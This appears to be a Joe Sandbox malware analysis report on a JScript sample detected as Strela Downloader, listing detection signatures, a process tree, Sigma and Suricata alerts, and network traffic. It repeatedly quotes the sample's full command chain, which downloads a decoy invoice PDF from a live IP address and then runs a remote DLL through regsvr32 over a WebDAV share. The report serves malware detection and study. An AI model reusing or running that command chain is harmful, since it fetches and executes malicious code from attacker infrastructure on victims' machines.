Edit tour

Windows Analysis Report
434027412290322097.js

Overview

General Information

Sample name:	434027412290322097.js
Analysis ID:	1588275
MD5:	3ec0627e5d9085c2858a0c29a99ec043
SHA1:	786a0de5f85cad00b6632cc94e3434683c3c2bdd
SHA256:	f694a041d851c9470ade4838065d2123f1feff291098319d1cd5a57c7721bec1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6832 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5544 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4260 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,13621369511104227895,15856102786190916547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3552 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5444 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6600 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6832	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4260, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4260, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ProcessId: 6832, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5444, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ProcessId: 5544, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ProcessId: 5544, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ProcessId: 5544, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ProcessId: 5544, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ProcessId: 5544, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ProcessId: 6832, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4260, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5444, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6600, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5444, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll, ProcessId: 5544, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:21:40.382499+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:21:37.695595+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 434027412290322097.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 434027412290322097.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:21:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

